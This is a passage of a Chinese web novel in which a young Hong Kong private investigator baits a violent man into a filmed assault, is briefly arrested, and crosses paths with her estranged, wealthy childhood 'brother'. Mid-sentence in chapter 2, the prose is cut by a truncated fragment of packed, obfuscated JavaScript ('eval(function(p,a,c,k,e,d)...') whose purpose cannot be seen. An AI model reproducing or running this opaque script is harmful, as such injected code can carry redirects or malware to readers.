《哥哥,汪一个》 1. 酒吧 四月一日,港岛。 春天的夜晚总是绮艳靡丽,尤其是在这条喧嚣热闹的酒吧街。 衣着时髦大胆的年轻人们嬉笑着涌进光影迷离的酒吧,迫不及待地寻找目标寻欢作乐,没有人给停在街角的那台黑色MPV一个眼神。 在这台几乎与夜色融为一体的黑色MPV里,池镜心坐在后座,闭着眼睛,任由她的老板钟言真拿着各种型号的化妆刷在她脸上扫来扫去。 钟言真一边给她补妆,一边细细嘱咐:“既然是扮啤酒妹,就要扮得像那么回事。你别老扯裙子下摆,走路也要走得风情一点。” 池镜心有些不满地撇了撇嘴:“可是啤酒妹的制服裙真的很短啊,我不扯一下总感觉会走光。还有啊,穿这么高的高跟鞋,不崴脚就不错了,还要走得风情一点,怎么风情啊?” 钟言真轻轻啧了一声:“我当年在CIB工作的时候,为了获取情报,扮什么像什么,演到我亲妈都认不出我来,警务处的同袍们都叫我‘千面魔女’。你啊比起我当年,还差得远了。” CIB即港岛警务处的刑事情报科,主要负责为警务处搜集情报,“狗仔队”一词最初就是用来称呼CIB的。 钟言真年轻时在CIB工作过几年,后来她离开了警队,开起了侦探事务所。在港岛,私家侦探是合法职业,许多警察离职后都会选择开侦探事务所。 池镜心虽然只有20岁,但在钟言真的侦探事务所工作已经快两年了。 听到钟言真又在忆往昔光辉岁月,池镜心没忍住嗤笑出声:“‘千面魔女’?这么老土的外号,是你现编的吧?” 钟言真把化妆刷一扔,急了:“你以为我讲大话啊?小鬼头头发长见识短!那个年代的外号就是这样的,你不信回头去问你契爷。行了,这妆补得差不多了,赶紧干活去。” 坐在驾驶位上的事务所同事阿豪回过头,笑嘻嘻地给池镜心打气:“阿心加油。” 坐在副驾驶位上的女同事向思移也回过头嘱咐她:“这次的目标有暴力倾向,阿心你要小心点啊,顶不住了就呼叫我们,我们会立马赶来支援你的。” 池镜心不甚在意地摆了摆手:“切,我也有暴力倾向,谁揍谁还不一定呢。” 她拎起装满啤酒瓶的篮子,利落地开门下车,砰的一声将车门关上,走进了喧嚣热闹的酒吧街。 从外表上看,池镜心跟其他推销啤酒的啤酒妹没什么不同,都是年轻漂亮的长相,都穿着啤酒公司发放的稍显清凉的制服裙。可能唯一的区别就是池镜心踩着高跟鞋走路的样子还不太熟练,但旁人顶多以为她是个刚入行的新人。 没有人知道,她脖子上系着的那条黑色choker里藏着微型摄像头,她耳道里也塞着微型耳麦。 走进酒吧,池镜心一眼就看到了不远处正独自饮酒的目标,一个三十多岁衣冠楚楚的青年男子。 钟言真的声音通过微型耳麦,在池镜心的耳道里响起:“阿心,你看到目标了没?” 池镜心:“看到了。他坐在酒吧最里面靠墙的卡座上喝酒。” 钟言真:“你别直接走到他面前,这样目的性太强了容易引起怀疑。你先向周围的顾客推销啤酒,一个一个地推销过去,最后自然而然地走到他面前跟他搭话。” 池镜心:“我知道。” 池镜心环顾了一下四周,离她最近的卡座坐着两男两女,这四人都挺年轻,衣着打扮都属于高雅体面的老钱风。其中一男一女紧挨着彼此,十指相扣,一边聊天一边时不时对视一眼,一看就是一对感情很好的小情侣。 小情侣对面坐着一位穿白衬衣的年轻男子,一位穿米色针织衫的年轻女孩。这两人没有任何肢体接触和眼神接触,应该只是普通朋友。 池镜心不动声色地打量着他们,发现那个白衬衣男子的侧脸似乎有点眼熟。但她没多想,也许只是因为这个人长得很好看吧,好看的人都是相似的,说不定这人跟某个明星撞脸了,所以她才会觉得眼熟。 池镜心从篮子里拎出一瓶啤酒,走到卡座旁,笑着问离她最近的那位穿米色针织衫的女孩:“姐姐,要不要买几瓶啤酒啊?” 池镜心笑得甜甜的,声音也装得嗲嗲的。平时她只要装出这副模样,无论男女老少都不忍心拒绝她的请求。这位米色针织衫女孩自然也无法拒绝她,很爽快地点了点头:“好的,拿四瓶……” 女孩话音未落,一旁穿白衬衫的男子便冷声打断了她的话:“别买她的酒。” 池镜心一愣,这个声音过于冷冽了,跟寒潭冰泉似的。最重要的是,这个声音也有点耳熟。 她看向这个骤然出声的男的,恰好这人也正向她投来目光。 终于看到对方的正脸,池镜心不得不承认,这人长得真好,脸型五官都跟建模似的完美无缺,因五官过于立体深邃,肤色又太白皙,隐隐有一丝混血味儿。 这男的看向池镜心的目光严肃冷漠,又透着些微的鄙夷,实在算不上友好。 池镜心被他这目光一激,有些恼怒地把啤酒瓶扔回了篮子里。 “切,不买算了。”她转身离开前,扔给了这男的一个轻蔑的白眼,并暗暗腹诽:死装男!都来酒吧街了还装什么高岭之花,你看不起我我还看不起你呢。 池镜心离开后,穿米色针织衫的女孩一脸不解地问身旁的男子:“阿昀,你为什么不让我买那个女孩子的酒啊?” 裴清昀淡淡开口:“那个女孩子看起来才十几岁,穿着高跟鞋走路都还不熟练,应该是刚入行做啤酒妹。这种小孩的生意就不应该照顾,她赚不到钱自然就不会再做这一行了。” 啤酒妹虽然是各啤酒公司正儿八经聘请的啤酒推销员,但因经常在工作中被顾客揩油,在大众眼中算不得一份体面的工作。尤其是对于年轻小女孩来说,整晚行走在声色场合中向陌生人推销啤酒,很容易沾染上一些不好的事。 裴清昀的话虽然听起来挺有道理,但穿米色针织衫的女孩略一沉吟,还是忍不住反驳:“小小年纪出来做啤酒妹是不太好,可是万一人家家里穷,或者是出了什么变故急需用钱呢?” 裴清昀没立刻回答她,而是端起面前的玻璃杯,抿了一口气泡水。他的手指如冻玉一般,搭在流光溢彩的玻璃杯上煞是好看。 坐在米色针织衫女孩正对面的年轻女孩以为裴清昀不会回答了,为了避免冷场,她笑着调侃道:“雅菱你老是把人往最善良最无辜的方向想,你平时做大律师小心被当事人骗啊。” 名唤雅菱的女孩子正欲开口,裴清昀徐徐解释道:“刚才那个女孩跟你搭话的时候,笑起来露出的一口牙齿完美到可以去拍口腔广告,一看就是家里花了不少钱正畸过的。她手上戴的那块表也不便宜,怎么可能家里缺钱。这种小孩多半是叛逆期发作,不好好读书,就想出来鬼混挣快钱。” 谭雅菱默默听完他这一番分析,终于点头承认:“好吧,你分析得确实有道理。” 坐在裴清昀正对面的年轻男子也笑着调侃道:“阿昀最看不惯这种小小年纪不学好的teenager了。我记得我们在英国念书的时候,有个teenager想抢他手机,被他把牙都打飞了,鼻血流了一脸。” 谭雅菱:“诶是吗?什么时候的事?” …… 这边这四人聊得有来有往的,那边池镜心也已经把一篮子啤酒兜售得差不多了,只剩下最后两瓶啤酒。她转头看向今晚的目标人物——那个三十多岁的青年男子。那人看起来斯斯文文的,实在不像是有暴力倾向的样子,但他确实卷入了一起跟暴力袭击有关的案子。 前段时间,这个青年男子也是一个人来酒吧喝酒,勾搭上了一个女的。这两人在去开房的路上,突然产生了一点争执,一开始两人还都只是动口不动手,直到那女的骂了一句“你青山(精神病院)跑出来的啊”,这男的立马脸色大变,扑上去殴打对方。女方为了自卫,从兜里摸出一把小刀往男方身上刺,成功将其刺伤。 之后这男的将女方告上了法庭,控告她伤人19,即港岛法例第212章《侵害人身罪条例》第19条,可处监禁3年。 这桩官司对女方非常不利,因为没有监控拍到男方先向她动手的画面,因此很难判定她是正当防卫。 女方的辩护律师查到该男子在童年时期,曾长期被患有精神疾病的父亲打骂虐待,因此律师怀疑这男的只要一听到“你青山出来的啊”这类骂他有精神疾病的粗口,就会情绪失控,暴力袭击辱骂他的人。 女方的辩护律师找到了钟言真的侦探事务所,委托他们拿到相关证据,以助女方打赢这场官司。 池镜心深吸了一口气,暗暗祈祷今晚能顺利拿到证据,千万不要被这暴力男打伤。她迈开步子,走到这男的面前,笑得又甜又嗲:“先生,你一个人来喝酒啊?你帮我把剩下两瓶啤酒买下来,我陪你聊天好不好?” 青年男子饶有兴趣地盯着她看了几秒,笑着点了点头。 池镜心很会聊天,她平时看书涉猎广泛,什么话题都能侃上几句,很快就跟这个青年男子越聊越投机。聊到最后,青年男子终于向她发出邀约:“难得有个小妹妹跟我这么投缘,今晚我请你吃宵夜好不好?” 池镜心绽放出天真又灿烂的笑容,乖巧地点了点头:“好啊。” 池镜心随青年男子一起离开了酒吧,上了该男子的车。青年男子驱车离开酒吧街,钟言真及其两个下属所在的黑色MPV也立刻跟了上去。 几分钟后,裴清昀和三个朋友一起走出了酒吧。裴清昀和谭雅菱并肩走着,两人始终保持着一定的距离。剩下那对小情侣则跟连体婴一样黏在一起。 小情侣中的男生笑呵呵地跟裴清昀和谭雅菱道谢:“我们的婚礼就麻烦二位伴郎伴娘啦!也祝你们早日觅得良缘!” 说完这句话,男生忽然察觉到这个祝福有点不妥,于是又赶紧改口:“哎呀忘了阿昀是独身主义者了,那……祝你好好享受单身生活。” 裴清昀点了点头,没说什么。 谭雅菱笑着回道:“放心吧,我们四个在英国当了那么多年的同学,你俩的婚礼我和阿昀肯定会尽心尽力,不辱使命。” 四人站在酒吧门口寒暄了几句,小情侣便被家里的司机保镖簇拥着乘车离开了,裴清昀家的司机保镖也已经等候在一旁。 谭雅菱家没请过保镖,只有一个司机,这会儿正陪她父母外出。她正想打个车,裴清昀转头看向她:“我让司机先送你回家?” 谭雅菱心头微微一热,立刻点了点头,细声细语地道了声谢。 两人上了车,一左一右地坐在后排,都安安静静地没有说话。谭雅菱能闻到对方身上淡淡 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向思移:“好耶!多谢真姐!” 阿豪:“老板大气!” 池镜心定了定神,转头看向刚下车的青年男子,一脸冷漠地表示:“我不想跟你一起吃宵夜了。” “怎么了这是?”青年男子有些诧异。 池镜心随便找了个借口:“刚刚在车上你跟我开黄腔,你好恶心啊。” 青年男子摊开手,装出一副无辜的模样:“我哪有跟你开黄腔啊?” “你开车的时候,问我谈过恋爱没有,还是不是处。” 青年男子轻蔑地笑了笑:“聊聊天而已,这种程度的话题你都受不了?你第一天出来做啤酒妹的啊?” “对啊,我就是第一天出来做啤酒妹,谁知道这么不走运遇到你个麻甩佬。” 青年男子面色一沉:“你是不是有病啊?” 池镜心一边脱下高跟鞋,赤脚踩在地上,一边不疾不徐地用语言刺激对方:“我有病?我还觉得你有病呢。你全家都是精神病,你老豆老母是在青山认识的吧?” 青年男子本来还是一副吊儿郎当的样子,一听到“精神病”,“青山”这样的字眼,顿时脸色大变,目眦欲裂。 “臭八婆!你胡说八道什么!” 青年男子迅速向池镜心走来,扬起手要打她。 池镜心稳稳站着没动,她要确保她脖子上戴的那条choker里藏的微型摄像头,能完整记录下这暴力男先向她动手的画面。 等到青年男子的巴掌即将落到她脸上时,池镜心终于在电光石火间灵巧闪身避开了攻击。她像一道轻捷的闪电,一眨眼就闪到了男子背后,重重地踢了他膝盖弯一脚,将其踢倒在地。 池镜心这辈子学啥都三天打鱼两天晒网,唯独格斗术坚持练了十几年,一般人还真不是她的对手,要不然钟言真也不会放心把这种危险的任务交给她。 青年男子惨叫了一声,怒气更甚,挣扎着要站起来揍池镜心。 池镜心没给他这个机会,正要反绞住该男子的胳膊,身后却传来一声暴喝:“不许动!警察!” 池镜心立刻举起手后退了几步。她侧过头看向声音的来源,一支军装巡逻小队正迅速朝她赶来。 冲在最前面的是个很年轻的警察。池镜心瞄了一眼他的肩章,只有一颗四角星花,是个见习督察,估计是刚刚大学毕业考进警队的。 眉目英挺神色严峻的见习督察迅速拿出手铐,将池镜心两只手铐了起来。其他的警员则将青年男子给控制了起来。 池镜心漫不经心地偏过头,跟正在给她上手铐的见习督察说:“是这个麻甩佬先动的手,我可是正当防卫啊,阿sir。” 先前还气势汹汹的青年男子这会儿哭丧着脸跟警察告状:“是这个臭八婆袭击我!阿sir你们一定要查清楚啊!” “回警署再说。”见习督察冷声回道。 池镜心不甚在意地笑了笑,下一秒她就发现,不远处有一辆车正在等红绿灯。通过半开的车窗,她看到了车里坐着的人——是在酒吧里阻止同伴买她酒的那个死装男。 此时裴清昀也正看向池镜心。今晚第二次见到这个女孩,他终于察觉到对方有些面熟。 但此刻他更多的是感到诧异,心想:现在港岛的teenager真是比英国的teenager还离谱了。一转眼这个啤酒妹就惹上了官司,当街被警察逮捕,但她还云淡风轻地笑着,对自己的处境浑然不在意,估计进警署对她来说已经是家常便饭了。 不知道是谁家的小孩这么顽劣,真是生块叉烧都好过生她。 温柔的夜风吹过这一片繁华璀璨的街区,池镜心和裴清昀隔着晚风四目相对。池镜心可以很明确地从对方冷漠的目光中读到些微嫌弃、鄙夷、厌恶之类的情绪。 她知道这个死装男把她当成小太妹了。但此刻她忽然觉得这个误会还挺有意思的。于是她又笑了起来,并轻佻地冲对方吹了一声口哨。 响亮又嚣张的口哨声穿破夜色,挑衅意味十足。裴清昀就这么莫名其妙地被一个小太妹给隔空调戏了。 裴清昀:“……” 什么东西。 他面无表情地将车窗关上了。 2. 墓园 池镜心被那位年轻的见习督察送上了警车。去警署的路上,她百无聊赖地找各种话题,试图跟见习督察聊聊天打发时间。 “你叫什么名字啊?” “你是大学一毕业就投考见习督察了吗?” “你以前有出来步巡过吗?我好像还是第一次见你。” “哎呀阿sir你放松点嘛,聊聊天而已啦。” …… 无论池镜心怎么搭讪,见习督察始终面色沉肃地目视前方,不知道的还以为他在押送什么头号恐怖分子。 到达警署后,池镜心发现这个警署有好几个警察都是她认识的叔叔阿姨。于是她一路都在神采飞扬地到处跟人打招呼。 “周叔,好久不见!” 警察周叔笑呵呵地回道:“阿心犯什么事了?怎么被阿政给带回来了?” “误会而已啦。”池镜心边说边瞟了一眼拎她来警署的见习督察,原来这家伙叫阿政。 阿政察觉到她的目光,也看向她,当看到她身上清凉的啤酒妹制服裙,又迅速别开了目光。 没走两步,池镜心又跟一个中年女警打招呼:“红姨,你们警署食堂这会儿还有丝袜奶茶吗?” 红姨急匆匆地走过,看起来很忙的样子,随口回了她一句:“应该有吧,我这会儿忙,待会儿有空了再帮你拿。” 池镜心乖乖应了一声:“哦,红姨你忙吧,不用管我。” 池镜心被阿政带到一旁的长椅上坐下,等着做笔录。 随后阿政离开了一小会儿,他在卫生间门口遇到周叔,随口问道:“怎么你们好像都认识那个阿心?她经常被抓吗?” “不是这个原因啦。”周叔解释道,“你刚进警队所以不清楚,阿心的母亲生前是我们的同事,她是我们这些老警察看着长大的。这两年她做私家侦探,时不时就因为工作被人误会抓进警署。但据我所知,她并没真犯过什么事。” 阿政点了点头,若有所思。 很快钟言真和向思移、阿豪都赶来了警署,向警察说明了池镜心和那青年男子发生冲突的原委。 池镜心和那男子动手时,她身上的微型摄像头完完整整地记录下了全过程。当时阿豪和向思移也藏在一旁,用手机记录下了那一幕。 三段不同角度的录像都清晰地显示,是那青年男子先向池镜心动的手,池镜心的行为完全属于正当防卫,且并未对对方造成实际伤害。 因此,警方了解过事件原委,并查看过录像后,决定释放池镜心。那青年男子知道池镜心手里的证据十分确凿,也识相地放弃了提告。这事便就这么了结了。 折腾了一晚上,池镜心有些疲惫地伸了个懒腰,正要跟同事们一起离开警署,却听到身后有人叫她。 “阿心。” 她回过头一看,是那位叫阿政的见习督察。 阿政的脸色已经不像之前逮捕她时那么冷肃了。他现在目光清澈,手里还拿着一杯丝袜奶茶。 阿政将奶茶递到了她面前:“抱歉今晚耽误了你这么多时间,我去食堂帮你拿了杯丝袜奶茶。” 池镜心愣了一瞬,笑着接过了奶茶,还浮夸地大力拍了拍阿政的肩膀:“好警察,够醒目!警队的明日之星就是你啦!” 阿政也笑了笑,他踌躇了片刻,正欲说些什么,池镜心却已转身离开了。 他看着那个年轻女孩子的背影,突然生起一种勇气想追上去要个联系方式,恰好此时他身后传来同事的声音:“阿政,过来帮把手。” 阿政抿了抿唇,转身回警署去帮忙了。 从警署出来,池镜心在车上把制服裙脱了,换上了自己平时穿的衣服鞋子,随后钟言真带着大家去大排档吃了一顿烧烤。这一通折腾完,池镜心回到家已经是凌晨两点了。 来到金玺大厦的楼下,池镜心迈着沉重的两条腿开始爬楼。 别看金玺大厦这名字起得辉煌大气,听起来像是个很高端很上档次的场所,实际上,这是一栋建于上个世纪六十年代的老式唐楼,老到连电梯都没有。偏偏池镜心住在顶楼七楼,天天爬楼梯爬出一身汗。 好不容易爬到七楼,池镜心掏出钥匙打开家门,开灯换鞋关门,然后整个人瘫在沙发上,几乎连根手指头都懒得动了。 虽然金玺大厦很老很破,连电梯都没有,但池镜心还是挺满足的了,至少住这里不用交房租。 这套四百多呎两室一厅的老房子,是她公公婆婆(姥爷姥姥)留给她妈妈的。她妈妈因公殉职后,依照遗嘱,这套房子又留给了她。 池镜心十七岁起就独自搬进了这套房子,将主卧用作自己的卧室,次卧改成书房,又添置了一些她喜欢的搞怪创意家具,这套老房子就变成她的温馨小窝了。 这套房子还附带一个私人天台。往常收工早的话,她就去天台上吹吹风,一边喝啤酒一边看夕阳。这样的时光十分惬意,除了有一点孤独。 在沙发上小憩了一会儿,池镜心挣扎着爬起来,打算去浴室泡个澡。去浴室之前,她先把手腕上的手表给摘了下来。 她全身上下的穿搭都很平价,只有这只表贵重,因为这只表是她母亲的遗物。当年她母亲为了庆祝自己升任总督察,斥八万巨资买下了这只名牌手表。池镜心每次接到一些危险系数高的委托,就会戴上这只手表,祈祷母亲赐予自己勇气和力量。 小小的浴室里只能放下一个小小的浴缸,好在池镜心体积也不大,把身体团吧团吧坐在浴缸里,空间刚刚好。 温暖的水流浸泡着她的皮肤,所有神经都松懈下来,思绪也像水草一样肆意飘荡。今天遇见的所有人和事,都在池镜心脑子里自动回放。 当回放到酒吧里那张完美无缺的建模脸时,池镜心突然睁大了眼睛。她终于知道那张脸为什么似曾相识了!那家伙长得超级像她童年记忆里的裴清昀! 她的童年噩梦!那个不知道从哪冒出来的,总是试图跟她抢夺母亲关注的便宜哥哥!一个应该被绑在火箭上发配外太空的讨厌鬼! 池镜心惊疑不定地拿起手机,开始搜裴清昀的名字。 自从她母亲去世后,她就再也没见过裴清昀这个人了,她并不知道裴清昀现在长什么样子。但这个家伙以及他的家族在港岛很有名,在网上搜一搜应该能搜出相关报道来。 很快池镜心就搜到了一条新闻,“申城市长徐康会见港岛鼎钧集团董事局主席裴清昀,鼎钧集团已在申城投资514亿元,近期将……” 她点开这条一个多月以前的新闻,看到了一张合影,然后她倒吸一口凉气,差点把手机扔洗澡水里。 合影里的裴清昀,跟她今晚在酒吧见到的那个建模脸,长得一模一样! 这也太魔幻了……池镜心开始无意识地薅自己的头发,把脑袋薅成了一个凌乱的鸡窝。 明明小时候她从来不觉得那个讨厌鬼长得好看的,但今晚她居然震惊于他的美色,还在大街上流里流气地冲他吹口哨……不是,她有病吧? 她明明应该早就把他认出来的,毕竟他还是跟小时候一样讨人厌,看不上她就算了,还不让同伴买她的酒。池镜心越想越气,暗暗发誓以后要是有机会再见到这个家伙,她一定得好好治治他出口恶气。 洗完澡,吹干头发,池镜心终于爬上了心爱的小床。在睡着前,她忽然叹了口气。她应该不会再见到裴清昀了,就算见到了也没法治他。毕竟人家现在可是千亿财团的董事局主席了。 而她呢,从好地段的屋苑搬到了深水埗的老旧唐楼,在该读大学的年纪早早出来揾食,每月的薪水只够吃两餸饭…… 同学少年多不贱。大家都有光明的前途,只有她的人生越混越差。 池镜心越想越气,她气鼓鼓地翻了个身,用被子捂住脑袋闷头大睡。 送谭雅菱回家后,裴清昀回到位于渣甸山的住所,开了一场漫长的跨国会议,凌晨两点了才去洗澡。 细雨般的水珠落下,滑过他苍白的皮肤。因常年健身,适度锻炼,他的身体有着非常赏心悦目的肌肉线条,冲淡了因肤色太过苍白而带来的病态感。 但是凑近细看的话,会发现他身上遍布一道道手术留下的疤痕,哪怕因年代久远变得浅淡了许多,乍一看依然叫人触目惊心。 从浴室出来,他拿起手机看了一眼日历。过几天就是清明节了,到时候得抽出几个小时时间去祭拜契妈……想到这里,他突然神色微变。 先前在酒吧里遇到的那个啤酒妹,他一直觉得有些眼熟。现在他终于想起来了,那个啤酒妹长得很像契妈的女儿阿心。阿心现在应该有二十岁了,恰好跟那个啤酒妹差不多大。 难道真的是……他很快就否定了这个可怕的猜测。那个啤酒妹绝不可能是阿心。 阿心前几年就随她父亲移民加拿大了,这会儿应该在国外的名校读大学,怎么可能跑去酒吧推销啤酒,还当街被警察逮捕,还跟个小流氓一样冲他吹口哨…… 他契妈一生行善积德,断不可能生出这种地狱级别的讨债鬼。 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时一辆防弹迈巴赫和一辆黑色SUV正一前一后地向浩园驶来。防弹迈巴赫后座上坐着裴清昀,后面那台黑色SUV里坐着的全是裴家的保镖。 裴清昀偏过头,看着放在身侧的那一大束白色康乃馨,琥珀色的瞳仁中隐隐流露着怀念。 司机将车停到了浩园入口处。裴清昀向窗外看去,正好看到一个女孩子手持一支白玫瑰,拉开一辆的士的车门坐了进去。虽然只有短短两三秒时间,但裴清昀还是看清楚了那个女孩子的侧脸——这就是前几天在街边冲他吹口哨的那个小流氓。 他看着那辆的士驶离浩园,心中满是疑惑:那个小流氓不是当街被警察带走了吗?这么快就被放出来了?她来浩园做什么? 的士很快消失在他的视野中。司机下了车,绕到他这边将车门打开,抬起戴着雪白手套的手护住车门上沿,静待他下车。 裴清昀按下心中的疑虑,拿起那束白色康乃馨下了车。 保镖们跟在他身后随他走进浩园,一行人很快就来到了池若颐女士的墓碑前。裴清昀看着墓碑前放着的那一大束白玫瑰,立刻皱起了眉头。 方才那短短两三秒的时间里,他清清楚楚地看到那个小流氓手里拿着一支白玫瑰。 一瞬间,裴清昀的脑子里好似有巨雷炸开,那个可怕的猜测如阴魂不散的水鬼再度浮现。 浩园并不大,目前仅有七十余位因公殉职的港岛公务员安葬在此处。裴清昀迅速查看了一遍浩园内其他的坟墓,只有池若颐的坟前放了一大束白玫瑰。 他终于不得不接受这个炸裂的事实——那个跟小时候的阿心长得极度相似的小流氓,就是阿心本人。 此时,他周围的一众保镖目睹他怪异的举动和极度难看的脸色,都不免有些紧张,一个个屏息凝神大气不敢出。 裴清昀突然转身看向这群保镖,沉声问:“刚才在浩园门口,有个二十岁左右的女孩拿着一支白玫瑰,上了一辆的士离开了,你们有谁注意到了?” 保镖阿锋立刻接话:“我看到了,是不是那个穿白色上衣的女孩?” 方才阿锋就坐在防弹迈巴赫的副驾驶位上,他的视野比裴清昀的还好,因此也清清楚楚地看到了那一幕。 裴清昀又问:“你有记下那辆的士的车牌号吗?” 方才他坐在迈巴赫后座,因视野受限,并未看清那辆的士的车牌号。 阿锋稍微回忆了几秒钟,便清晰地报出了一个车牌号。 “你立刻开车去把那辆的士拦下来,跟那个女孩报我的名字,告诉她,我有事要找她谈谈。” 此时裴清昀脸色铁青,“找她谈谈”这四个字几乎是从牙缝里挤出来的。 阿锋在裴家工作好几年,还是第一次见老板脸色这么难看。他不敢耽误一秒,立刻转身离开了浩园。 3. 色相 池镜心独自坐在的士后座,百无聊赖地玩着手机。就在这时,她的电子邮箱忽然收到一封邮件。她眉心一跳,有些紧张地调整了一下坐姿。 这封邮件来自内地最火的悬疑推理杂志《烧脑推理》。半个多月前,池镜心曾向该杂志投稿了一篇自己写的短篇推理小说。 她屏住呼吸,点开了邮件,只看到一行简短的文字: “感谢投稿,文笔流畅,核心诡计很精彩,只是情节涉及到亲人之间的互相残杀,有些踩线,予退稿处理,可另投。” 她扔开手机,汪的一声就哭了起来,越哭越大声,把前面开车的的士司机都吓了一跳,频频通过中央后视镜打量她。 此刻池镜心真的是委屈炸了。她从小就特别喜欢看推理小说,梦想成为推理小说家。为了实现这个梦想,她特地跑到侦探事务所打工,有事没事就拉着母亲以前的警察同事们聊天积累素材。 这两年她写了好几篇短篇推理小说,但一篇都没发表出来。一开始那些编辑说她设定太套路,文笔太稚嫩,她就不断练习精进。 这次她好不容易写出一个自己颇为满意的故事,无论是文笔还是核心诡计的设计都比之前有了很大提升。 她信心满满地把这篇短篇小说投了出去,没想到居然还是被拒稿了,而且拒稿理由居然是亲人间互相残杀的情节踩线了! 她怎么知道内地连这种情节都不让写啊!那内地的影视剧也没少拍亲人间互相残杀的情节啊!怎么人家拍得她写不得?!这世道到底给不给新人作者活路啊! 池镜心很崩溃,这会儿阿锋开着SUV到处找她找不到也很崩溃,以为阿心已经彻底堕落成小流氓的裴清昀更加崩溃。 过了一会儿,阿锋实在找不到人,便给裴清昀打了个电话:“不好意思裴先生,我找了好长一段路,始终没看到那辆的士。” “没事,你先回来吧。” 裴清昀挂掉电话,有些烦躁地按了按眉心。自从前几年程叔移民去了加拿大,他就没有对方的联系方式了。但现在他迫切地需要找到程叔,问问他到底为什么他女儿阿心还留在港岛,她又是为什么堕落成了这个鬼样子。 裴清昀想了想,给助理发了一条消息过去:“这几天派人去加拿大的华人圈打听一下,有没有一个叫程文睿的中年男性,我需要他的联系方式。” 发完消息,裴清昀转头看向池若颐的墓碑。遗像里的池若颐女士风华正茂,笑容亲切。 裴清昀突然感到难过。都说好人有好报,但现实中往往是杀人放火金腰带,修桥铺路无尸骸。他契妈人那么好,却英年早逝,死后第二年丈夫就再娶了,唯一的女儿也变成了人不人鬼不鬼的样子……他替她感到不值。 池镜心这一整天都很难过,回到家断断续续地哭了好几回,第二天一早醒来,她发现自己眼睛都红肿了。池镜心急得不行,她今天还要出去见人的。 一整天她都在家里捣鼓各种消肿的法子,又是冰敷又是涂药,折腾到下午四点,她的眼睛终于看起来正常一些了。她拿起一个粉色的礼品袋,出了门。 今天是她好朋友秦铠澄的生日。秦铠澄的父亲秦正业跟池镜心的母亲曾是同事,前段时间刚升任警务处处长。秦铠澄的母亲廖碧云则是一名妇产科医师,池镜心出生时就是她接生的。 因此,池镜心与这家人渊源颇深,她一出生便认了秦正业为契爷,认了廖碧云为契妈。 自从她母亲去世后,契爷契妈一直挺关心她的,她不想让契爷契妈看到她眼睛红肿的样子,不想让他们忧心。更何况,今天是澄澄的生日,她不想破坏她的生日氛围。 在港岛,警务处处长是个非常重要的实权职位。警务处处长的专用车牌是1号车牌,因此被民众称为“一哥”。同时,警务处处长还会获得位于马己仙峡道50号的编配官邸。 池镜心换了几种交通工具,终于来到了马己仙峡道50号。秦铠澄已经在大门口等她了。 秦铠澄比池镜心小一岁,但个子却比她高一些,气质也更成熟,看起来更像个大姐姐。 “澄澄!” 池镜心迅速调整出灿烂的笑脸,小跑过去给了秦铠澄一个大大的拥抱。 “宝宝!” 秦铠澄也夸张地张开双臂搂住了她。 “天呐,这栋官邸好大好壮观,澄澄,你变成公主了!” 池镜心打量着眼前的警务处处长官邸,激动得两眼发光。 秦铠澄也很激动:“我们上周才搬进来,这栋房子里面有好多房间啊!我长这么大第一次住这么大的房子!走走走,我带你进去参观一下。” 这会儿秦正业和廖碧云正在一楼的厨房里,亲手给女儿准备生日大餐。听到两个女孩子叽叽喳喳地跑进了屋,他俩笑着出来打招呼。 秦正业:“阿心来啦?” 廖碧云:“茶几上有你喜欢的榛子味玛德琳,快去吃吧。” 两个女孩子像一阵风一样手牵手跑过,池镜心只来得及扔下一句:“谢谢契妈,我们要先参观房子!” 秦铠澄拉着池镜心去了她的卧室,极尽浮夸地介绍道:“当当当当!我的卧室有近二百呎!” “哇!这也太豪华了!”池镜心发出真心实意的感慨。她现在住的那套房子所有空间加起来也才四百多呎呢。 接着秦铠澄又打开了卧室旁边的房间门:“这是我的书房。我终于有自己的书房了!” 池镜心已经快羡慕哭了:“呜澄澄你也太好命了,全港岛没有几个女生能住上这么好的房子的。” 秦铠澄摆了摆手:“哎呀冷静点宝贝,过几年我爸任期结束,我们还要搬走的。” 池镜心还是很羡慕:“至少你体验过了呀,人活一世重在体验嘛。” 两人参观完房子,又回一楼吃了会儿甜点,秦正业和廖碧云便将生日大餐做好了。 因为秦正业是警务处高层的缘故,为了确保作风廉洁不被人捕风捉影,连女儿的19岁生日都没有办什么派对,只叫了池镜心过来吃顿晚饭简单庆祝一下。 吃饭前,秦正业突然站了起来,对秦铠澄说:“澄澄,从小到大你的生日都过得很简单,是爸爸对不住你。” 秦铠澄有些不好意思地笑了:“哎呀老爸,吃饭呢干嘛突然说这种煽情的话。” 秦正业:“为了补偿你,我和你妈妈偷偷排练了网上很火的那支呆头鹅的舞,现在我们就表演给你看。” 秦铠澄:“哈?!” 池镜心:“哈?!” 两个女孩子二脸震惊。呆头鹅是最近很火的一部动画的主角,非常蠢萌。秦铠澄很喜欢呆头鹅,买了很多相关周边,但她万万没想到,父母会为了她去学那支傻里傻气的呆头鹅舞。 池镜心也万万没想到,她契爷契妈都五十多岁的人了,居然还会学这种年轻人的花名堂来讨女儿欢心。 廖碧云拿来两对用白色纸板做的鹅翅膀,绑到秦正业和自己的胳膊上,然后两位中年人就一本正经地跳起了滑稽可爱的呆头鹅舞。 很快两位中年人就状况百出,互相吐槽: “哎呀,你踩到我的脚了!” “是你迈错步子了!” “你会不会跳!把我翅膀都打掉了!” “好了好了我给你扶正……” 夫妻俩生疏笨拙的舞技让这只舞更加滑稽搞笑了。秦铠澄被逗得哈哈大笑,两只手一直举着手机录像。一时间警务处处长官邸内弥漫着温馨愉悦的氛围。 为了配合这么好的氛围,池镜心也跟着笑了起来。她笑着笑着,心脏忽然就被一种强烈的难过的情绪给击中了。 在她小的时候,她的母亲池若颐也是一名前途无量的总督察,被称为警队的“明日之星”。那时候她也幻想过,也许未来某一天她母亲会成为港岛有史以来的第一位女性警务处处长,带她住进半山区的豪华官邸。 小时候,她的父母也会一起给她过生日,把她当掌上明珠一样捧在手心。她想当然地以为这样的生活会一直持续下去。 那时候的她无论如何都不会想到,她十二岁那年母亲会因公殉职,父亲会很快就娶新的老婆,拥有新的孩子。 像今晚这样父母吵吵闹闹又不失温馨地一起给女儿过生日的经历,她这辈子都不可能再拥有了。 这顿生日大餐吃到一半,廖碧云忽然问池镜心:“阿心啊,你要不要搬到这里来住啊?这里还有好多空房间,你可以随便挑。” 